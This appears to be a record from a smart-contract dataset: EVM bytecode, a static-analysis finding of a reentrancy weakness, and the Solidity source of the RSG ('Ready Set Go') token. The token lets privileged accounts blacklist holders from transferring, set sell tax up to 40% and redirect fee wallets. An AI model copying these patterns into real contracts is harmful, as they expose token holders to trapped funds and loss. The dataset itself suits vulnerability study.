fff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff168061164057503373ffffffffffffffffffffffffffffffffffffffff1660018260405180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040518091039020868686604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af115801561161e573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b151561164b57600080fd5b88600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008360001916600019168152602001908152602001600020819055507f1e0b760c386003e9cb9bcf4fcf3997886042859d9b6ed6320e804597fcdb28b08a8a8a8a8a8a338b8b8b604051808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018a81526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018460ff1660ff168152602001836000191660001916815260200182600019166000191681526020019a505050505050505050505060405180910390a150505050505050505050565b80600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561184057600080fd5b6118b0600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826135eb565b600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561195157600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb56760003383600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a150565b60008273ffffffffffffffffffffffffffffffffffffffff161415611a7057600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611b4757600080fd5b505af1158015611b5b573d6000803e3d6000fd5b505050506040513d6020811015611b7157600080fd5b81019080805190602001909291905050501515611b8d57600080fd5b611c13600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612e3d565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7823383600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a15050565b6000806002308d8d8d8d8d8d604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af1158015611ecd573d6000803e3d6000fd5b5050506040513d6020811015611ee257600080fd5b81019080805190602001909291905050509050600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008260001916600019168152602001908152602001600020549150509a9950505050505050505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fdf57600080fd5b600354811115611fee57600080fd5b8060038190555050565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561205957600080fd5b60055481108061206a575060045481115b1561207457600080fd5b8060058190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082600660008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156121435750826121408e8e8e8e8e8e8e8e8e8e612a67565b10155b15156121525760009050612157565b600190505b9c9b505050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121c257600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561226757600080fd5b600454811180612278575060055481105b1561228257600080fd5b8060048190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122e757600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff16141561234e57600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156123d757600080fd5b61245d600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826135eb565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561258057600080fd5b505af1158015612594573d6000803e3d6000fd5b505050506040513d60208110156125aa57600080fd5b810190808051906020019092919050505015156125c657600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567823383600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a15050565b60076020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60045481565b612792600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205434612e3d565b600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d760003334600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561295157600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806002308f8f8f8f8f8f604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af1158015612b7d573d6000803e3d6000fd5b5050506040513d6020811015612b9257600080fd5b81019080805190602001909291905050509250600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000846000191660001916815260200190815260200160002060009054906101000a900460ff1680612d0657508773ffffffffffffffffffffffffffffffffffffffff1660018460405180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040518091039020898989604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015612ce4573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b8015612d125750894311155b1515612d215760009350612e2c565b612d838d600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008660001916600019168152602001908152602001600020546135eb565b91508a612e0c600660008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548f613604565b811515612e1557fe5b04905080821015612e2857819350612e2c565b8093505b5050509a9950505050505050505050565b6000808284019050612e5d848210158015612e585750838210155b613637565b8091505092915050565b600080600080670de0b6b3a7640000612e8286600354613604565b811515612e8b57fe5b049350670de0b6b3a7640000612ea386600454613604565b811515612eac57fe5b049250600091506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561302857600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cbd0519876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015612fb257600080fd5b505af1158015612fc6573d6000803e3d6000fd5b505050506040513d6020811015612fdc57600080fd5b81019080805190602001909291905050509050600181141561301a57670de0b6b3a764000061300d86600554613604565b81151561301657fe5b0491505b6002811415613027578291505b5b6130b7600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130b28786612e3d565b6135eb565b600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131cf600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ca6131c48886612e3d565b876135eb565b612e3d565b600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613309600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133046132fe8787612e3d565b856135eb565b612e3d565b600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613445600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a6134368a89613604565b81151561343f57fe5b046135eb565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061355f600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a6135508a89613604565b81151561355957fe5b04612e3d565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050505050505050565b60006135f983831115613637565b818303905092915050565b600080828402905061362d6000851480613628575083858381151561362557fe5b04145b613637565b8091505092915050565b80151561364357600080fd5b505600a165627a7a723058203292e856f0b008578d38a25dfaca830c29ab8e0cc6a0807daddc60bb403c04fe0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
4,802
0x421671050d2e8dee922ba211c12a4164c644a417
/** *Submitted for verification at Etherscan.io on 2021-12-11 */ // // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract RSG is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ready Set Go"; string private constant _symbol = "RSG"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; // 0% uint256 private _buytax = 10; // uint256 private _teamFee; uint256 private _sellTax = 10; // uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 2500000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => bool) private whitelist; mapping(address => uint256) private cooldown; address payable private _MarketTax; address payable private _Dev; address payable private _DevTax; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private transfertax = true; bool private CEX = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable markettax, address payable devtax, address payable dev) { _MarketTax = markettax; _Dev = dev; _DevTax = devtax; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_MarketTax] = true; _isExcludedFromFee[_DevTax] = true; _isExcludedFromFee[_Dev] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if(from != address(this)){ require(amount <= _maxTxAmount); } if(from != owner() && to != owner()){ _teamFee = _buytax; } require(!bots[from] && !bots[to] && !bots[msg.sender]); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { _teamFee = _sellTax; // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(!transfertax) { if(to != uniswapV2Pair && from != uniswapV2Pair) { takeFee = false; } } if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function isWhiteListed(address account) public view returns (bool) { return whitelist[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _MarketTax.transfer(amount.div(10).mul(5)); _DevTax.transfer(amount.div(10).mul(5)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; _maxTxAmount = 5000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external { require(_msgSender() == _Dev); swapEnabled = enabled; } function TransferTax(bool enabled) external { require(_msgSender() == _Dev); transfertax = enabled; } function AddToCEX (bool enabled) external { require(_msgSender() == _Dev); CEX = enabled; } function manualswap() external { require(_msgSender() == _Dev); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualswapcustom(uint256 percentage) external { require(_msgSender() == _Dev); uint256 contractBalance = balanceOf(address(this)); uint256 swapbalance = contractBalance.div(10**5).mul(percentage); swapTokensForEth(swapbalance); } function manualsend() external { require(_msgSender() == _Dev); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner() { require (!CEX); for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner() { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**4); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external { require(_msgSender() == _Dev); require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setSellTax(uint256 selltax) external onlyOwner() { require(selltax >= 0 && selltax <= 40, 'selltax should be in 0 - 49'); _sellTax = selltax; } function _setBuyTax(uint256 buytax) external onlyOwner() { require(buytax >= 0 && buytax <= 10, 'buytax should be in 0 - 49'); _buytax = buytax; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function setMarket(address payable account) external { require(_msgSender() == _Dev); _MarketTax = account; } function setDev(address payable account) external { require(_msgSender() == _Dev); _Dev = account; } function setDevpay(address payable account) external { require(_msgSender() == _Dev); _DevTax = account; } function _ZeroSellTax() external { require(_msgSender() == _Dev); _sellTax = 0; } function _ZeroBuyTax() external { require(_msgSender() == _Dev); _buytax = 0; } }
0x6080604052600436106101fd5760003560e01c80638da5cb5b1161010d578063cf27e7d5116100a0578063dbe8272c1161006f578063dbe8272c146105e9578063dd62ed3e14610609578063e01af92c1461064f578063e47d60601461066f578063e850fe38146106a857600080fd5b8063cf27e7d514610573578063d00efb2f14610593578063d477f05f146105a9578063d543dbeb146105c957600080fd5b8063c0e6b46e116100dc578063c0e6b46e146104f0578063c3c8cd8014610510578063c9567bf914610525578063cba0e9961461053a57600080fd5b80638da5cb5b1461045c57806395d89b4114610484578063a9059cbb146104b0578063b515566a146104d057600080fd5b8063437823ec116101905780636fc3eaec1161015f5780636fc3eaec146103dd57806370a08231146103f2578063715018a61461041257806384e1879d1461042757806389e7b81b1461043c57600080fd5b8063437823ec146103445780634907aede146103645780636dcea85f146103845780636f9170f6146103a457600080fd5b806323b872dd116101cc57806323b872dd146102c8578063273123b7146102e85780632b7581b214610308578063313ce5671461032857600080fd5b806306fdde0314610209578063091646a914610250578063095ea7b31461027257806318160ddd146102a257600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5060408051808201909152600c81526b52656164792053657420476f60a01b60208201525b604051610247919061204d565b60405180910390f35b34801561025c57600080fd5b5061027061026b366004611fd0565b6106bd565b005b34801561027e57600080fd5b5061029261028d366004611ede565b6106fb565b6040519015158152602001610247565b3480156102ae57600080fd5b50683635c9adc5dea000005b604051908152602001610247565b3480156102d457600080fd5b506102926102e3366004611e9e565b610712565b3480156102f457600080fd5b50610270610303366004611e2e565b61077b565b34801561031457600080fd5b50610270610323366004612008565b6107cf565b34801561033457600080fd5b5060405160098152602001610247565b34801561035057600080fd5b5061027061035f366004611e2e565b61084f565b34801561037057600080fd5b5061027061037f366004611fd0565b61089d565b34801561039057600080fd5b5061027061039f366004611e2e565b6108db565b3480156103b057600080fd5b506102926103bf366004611e2e565b6001600160a01b031660009081526011602052604090205460ff1690565b3480156103e957